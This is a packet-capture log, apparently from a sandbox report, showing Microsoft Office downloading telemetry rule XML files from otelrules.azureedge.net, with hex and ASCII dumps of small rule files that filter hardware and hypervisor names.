2024-10-24 14:05:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: c0884099-101e-0046-3a40-2291b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140531Z-16849878b786vsxz21496wc2qn00000007v000000000k2sm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 907020bf-b01e-00ab-33f4-24dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140532Z-15b8d89586f8nxpt5xx0pk7du800000004x000000000e4t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 34547014-f01e-003f-75cc-20d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140532Z-16849878b787sbpl0sv29sm89s00000007wg00000000d2qh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49846	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fea5f70-201e-0071-57f4-24ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140532Z-r197bdfb6b4kq4j5t834fh90qn0000000awg00000000ch0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: e4f93586-101e-0046-3eac-2491b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140532Z-15b8d89586frzkk2umu6w8qnt80000000eag000000008dtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49845	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 5441351c-201e-000c-2bf5-2479c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140532Z-r197bdfb6b429k2s6br3k49qn40000000530000000003r7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 135f94f0-d01e-002b-2a55-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140532Z-16849878b787c9z7hb8u9yysp000000007w000000000dudr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49850	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c52d6895-f01e-001f-0bd3-205dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140533Z-16849878b784cpcc2dr9ch74ng00000007t000000000p8fx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140533Z-16849878b785dznd7xpawq9gcn00000000c0000000003bnk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2f548e5b-201e-003c-5d24-2130f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140533Z-16849878b78x6gn56mgecg60qc00000000x000000000ez9a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140533Z-15b8d89586fnsf5zm1ryrxu0bc00000003b0000000007w0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49854	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8c481607-b01e-0053-3f2b-21cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140534Z-16849878b786vsxz21496wc2qn00000007t000000000pb81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49855	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
